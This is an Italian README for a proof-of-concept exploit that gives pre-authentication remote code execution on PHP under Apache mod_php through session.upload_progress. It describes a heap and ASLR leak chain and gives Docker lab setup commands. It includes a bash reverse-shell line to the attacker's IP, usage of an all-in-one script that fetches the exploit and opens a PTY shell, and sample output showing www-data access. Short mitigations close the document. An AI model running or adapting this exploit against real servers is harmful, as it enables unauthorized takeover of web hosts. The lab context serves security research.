
Proof-of-concept di exploit per RCE pre-auth tramite PHP session.upload_progress (PHP2Shell), con leak di heap/ASLR, profili di offset per build e un handler reverse shell tutto-in-uno.
★ CVE-2026-109618 / CVE-2026-109619 PHP session.upload_progress Pre-Auth RCE PoC ★
PHP2Shell (CVE-2026-109618 / CVE-2026-109619) è una vulnerabilità di Remote Code Execution non autenticata in PHP sotto Apache
mod_php. Una richiestamultipart/form-dataappositamente costruita provoca un bailout per esaurimento memoria nel gestoresession.upload_progressin fase di pre-richiesta, lasciando puntatori obsoleti che espongono l'heap Zend e le basi dilibphp.sotramiteSet-Cookie(aggirando l'ASLR); una HashTable contraffatta reindirizza poi un distruttore versozif_system, eseguendo comandi come worker web (www-data). Non è richiesta autenticazione e le impostazioni di sessione vulnerabili sono attive per impostazione predefinita.
| Categoria | Versione |
|---|---|
| Vulnerabili | PHP 8.2.x / 8.3.x / 8.4.x / 8.5.x precedenti alla patch |
| Corrette | PHP 8.5.12 · 8.4.27 · 8.3.36 · 8.2.35 o successive (2026-10-21) |
| Verificate su | php:8.4.26-apache ufficiale (Debian 13, amd64) |
Gli offset dipendono dalla build (versione · architettura · distribuzione). Questo PoC include un profilo per
8.4.26-apache amd64; altre build richiedono il proprioprofiles/*.json.
www-data)libphp, e potenzialmente token e chiavi di sessione) già prima dell'RCEVittima = php:8.4.26-apache ufficiale con la configurazione seguente. L'attaccante opera da un container
separato (eqst-kali) sulla stessa rete bridge Docker; la reverse shell si riconnette al suo IP.
# victim (official image + vulnerable config inlined in the Dockerfile)
docker build --platform linux/amd64 -t p2s-victim .
docker run -d --name p2s-victim --platform linux/amd64 p2s-victim # default bridge
docker inspect -f '{{.NetworkSettings.Networks.bridge.IPAddress}}' p2s-victim # e.g. 172.17.0.2
# attacker (kali) on the same bridge
docker network connect bridge eqst-kali
| Precondizione | Stato in questo lab |
|---|---|
PHP 8.2–8.5 (pre-patch) + Apache mod_php | PHP 8.4.26 / Apache 2.4.69, prefork |
session.upload_progress.enabled | On (default) |
session.use_strict_mode | 0 (default) |
display_errors | On (consente la fuga di informazioni della fase 1) |
memory_limit | 128M (default — lasciato invariato) |
post_max_size / upload_max_filesize > memory_limit (consente a un corpo della richiesta di raggiungere l'OOM) | 256M (le applicazioni che supportano l'upload comunemente aumentano questi valori) |
| Singolo processo worker Apache (lo stato obsoleto è per processo) | 1 |
Nota sull'host (WSL2): su Windows Docker Desktop (WSL2) il kernel mappa
libphpa0x7c..., al di sotto del controllo ASLR0x7F...dell'exploit upstream, quindi scarta la fuga di informazioni valida.p2s_shell.pyamplia automaticamente tale intervallo. Su un host Linux nativo la patch è un no-op.
p2s_shell.py è un singolo processo che apre il proprio listener, recupera l'exploit upstream,
seleziona gli offset da profiles/*.json in base alla versione PHP del target, attiva la catena ed intercetta
una reverse shell aggiornata a PTY (senza nc separato).
PoC/
├── Dockerfile # victim image (config inlined)
├── p2s_shell.py # all-in-one: fingerprint -> offsets -> trigger -> shell
└── profiles/php-8.4.26-apache-amd64.json # per-build offsets (system/dtor/htdata)
(vendor/exploit.py is auto-fetched from upstream at run time; not stored here)
Prerequisito una tantum: posizionare il payload reverse-shell nella web root della vittima (il vettore del comando
è di 14 byte, quindi i payload lunghi vanno inseriti in un file eseguito tramite bash</w/c, come da upstream):
KALI=$(docker inspect -f '{{.NetworkSettings.Networks.bridge.IPAddress}}' eqst-kali)
docker exec p2s-victim sh -c "printf 'bash -i >& /dev/tcp/$KALI/4444 0>&1\n' > /w/c" # /w = web root symlink
Esegui il PoC dall'interno dell'attacker (i percorsi sono relativi allo script):
# interactive PTY shell (victim IP from the inspect above)
python3 p2s_shell.py -u http://172.17.0.2/index.php
# batch: run commands and print output
python3 p2s_shell.py -u http://172.17.0.2/index.php --run 'id;uname -a'
Esegue il fingerprinting di X-Powered-By: PHP/8.4.26, carica il profilo corrispondente e apre la shell:
[*] profile php-8.4.26-apache-amd64.json: PHP 8.4.26/amd64 system=0x465370 dtor=0x65eb60 htdata=0x690D8
[*] listening on 0.0.0.0:4444
[*] triggering exploit: bash</w/c (offsets from JSON profile)
[+] reverse shell from 172.17.0.2:54620
www-data@victim:/var/www/html$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Opzioni:
--run 'c1;c2' — modalità batch (non serve un terminale interattivo)--no-pty — mantiene una shell dumb semplice invece dell'upgrade a PTY--php-version / --arch — sovrascrive la build di destinazione quando X-Powered-By è nascosto--lport — porta della reverse shell (deve corrispondere alla porta incorporata in /w/c, predefinita 4444)session.upload_progress.enabled = Off se il progresso dell'upload non viene utilizzatodisplay_errors = Off in produzione (blocca la fuga di informazioni dello stage-1 fornito)zend_mm_heap corrupted